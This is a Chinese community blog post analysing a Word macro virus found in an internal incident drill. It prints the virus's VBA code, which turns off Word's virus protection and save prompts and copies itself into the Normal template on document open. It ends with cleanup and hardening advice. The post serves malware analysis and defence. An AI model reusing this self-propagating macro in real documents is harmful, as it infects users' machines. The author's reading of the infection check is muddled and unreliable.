记一次宏病毒分析

举报
Vista_AX 发表于 2023/06/27 16:05:19 2023/06/27
【摘要】 记一次宏病毒分析

01 事件背景介绍

某内部应急演练中,安全部门在终端防护软件中发现宏病毒告警,现需根据样本文件进行分析。


02 事件分析过程


对样本文件进行云沙箱病毒检测,检测结果如下:

image.png

image.png

在线云沙箱检测发现该文件属于宏病毒文件,该病毒由ThisDocument的模块组成,它使用Document_Open宏,Document_Close 宏和Document_New宏进行感染。它会感染WORD的通用模版(normal.dot)文件。


image.png


'APMP
'KILL
Private Sub Document_Open()
   On Error Resume Next  
   Application.DisplayStatusBar = False   不显示状态栏,防止显示宏的运行状态
   Options.VirusProtection = False   关闭病毒保护功能
   Options.SaveNormalPrompt = False   如果共用模板被修改,不显示提示窗口,直接保存
   MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 20)
   Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule
   If ThisDocument = NormalTemplate Then _
      Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule
   With Host
       If .Lines(1, 1) = "APMP" & .Lines(1, 2) <> "KILL" Then 判断感染标志
          .DeleteLines 1, .CountOfLines   删除目标文件的所有代码
          .InsertLines 1, MyCode   向目标文件嵌入宏代码
          If ThisDocument = NormalTemplate Then _
             ActiveDocument.SaveAs ActiveDocument.FullName   保存文档
       End If
   End With
End Sub


根据上述代码分析,当带有该宏代码的文档被打开后,会检查模板文件是否已经受到 APMP 病毒感染。如果已经感染,则删除公用模板中的旧代码,将新的恶意代码插入模板中并保存。如果文档未被感染,则不会发生任何事情。

宏代码中对Normal.dotm通用模版文件操作记录见下图:
image.png

image.png

通过上述行为综合分析,该宏代码的核心逻辑为检查模版是否被感染,如果被感染则进行替换,无其余明显的恶意行为。


03 事件分析结果


该宏代码的核心逻辑为检查模版是否被感染,如果被感染则进行替换,无其余明显的恶意行为。


04 安全加固建议


1、处置建议:删除dotm模板文件(默认文件路径为:C:\Users\Administrator\AppData\Roaming\Microsoft\Templates\normal.dotm)后重启Word,或重新安装Word;使用终端杀毒软件进行全盘查杀,清除感染文档;设置宏安全级别为非常高,防止除Word默认的宏以外的其他宏运行;设置取消“信任所有安全的加载项和模板”,设置完毕后打开带有宏的Word文档时,会禁用宏。

2、提高安全意识:当网上下载资源、接收到别人发送的文件时,首先应有可能存在带毒文件的防范意识。不能直接打开或执行,而应先对文件进行扫描,确认文件无问题才可使用。

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。